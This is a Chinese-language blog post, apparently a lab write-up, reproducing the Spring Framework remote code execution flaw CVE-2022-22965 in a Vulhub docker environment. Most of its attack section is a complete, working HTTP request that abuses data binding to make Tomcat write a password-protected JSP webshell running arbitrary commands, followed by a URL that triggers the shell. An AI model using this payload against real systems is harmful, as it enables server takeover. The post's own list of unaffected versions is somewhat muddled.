CVE-2022-22965-Spring-RCE漏洞
漏洞概況與影響
Spring framework 是Spring 里面的一個(gè)基礎(chǔ)開源框架,其目的是用于簡化 Java 企業(yè)級應(yīng)用的開發(fā)難度和開發(fā)周期,2022年3月31日,VMware Tanzu發(fā)布漏洞報(bào)告,Spring Framework存在遠(yuǎn)程代碼執(zhí)行漏洞,在 JDK 9+ 上運(yùn)行的 Spring MVC 或 Spring WebFlux 應(yīng)用程序可能容易受到通過數(shù)據(jù)綁定的遠(yuǎn)程代碼執(zhí)行 (RCE) 的攻擊。
受影響范圍:
Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK >= 9
不受影響的版本
Spring Framework = 5.3.18
Spring Framework = 5.3.20
JDK < 9
基本知識
關(guān)于Spring的參數(shù)綁定和多級參數(shù)綁定這里就不多講了,大家可以自行百度
Property Descriptor
JDK中自帶 Java Bean Property Descriptor ,自動(dòng)調(diào)用類對象的get/set的方法
BeanWrapperlmpl
Spring 自帶BeanWrapperlmpl,對Spring 容器中的管理對象,,自動(dòng)調(diào)用get/set的方法
漏洞復(fù)現(xiàn)
本次復(fù)現(xiàn)采用Vulhub靶場環(huán)境,需要在本地搭建Vulhub靶場
進(jìn)入靶場環(huán)境,使用以下命令啟動(dòng)環(huán)境:
docker-compose up -d
檢測環(huán)境端口是否開放
docker-compose ps
根據(jù)VULHUB靶場提示操作,訪問靶場服務(wù)器IP+端口:
http://192.168.0.112:8080/?name=Bob&age=25
抓包BP進(jìn)入重放器模塊發(fā)送以下請求以更改 Apache Tomcat 中的日志記錄配置并將日志寫入 JSP 文件:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.0.112:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
然后,訪問剛才的 JSP webshell,并執(zhí)行任意命令:文章來源:http://www.zghlxwxcb.cn/news/detail-420150.html
http://192.168.0.112:8080/tomcatwar.jsp?pwd=j&cmd=whoami
文章來源地址http://www.zghlxwxcb.cn/news/detail-420150.html
到了這里,關(guān)于CVE漏洞復(fù)現(xiàn)-CVE-2022-22965-Spring-RCE漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!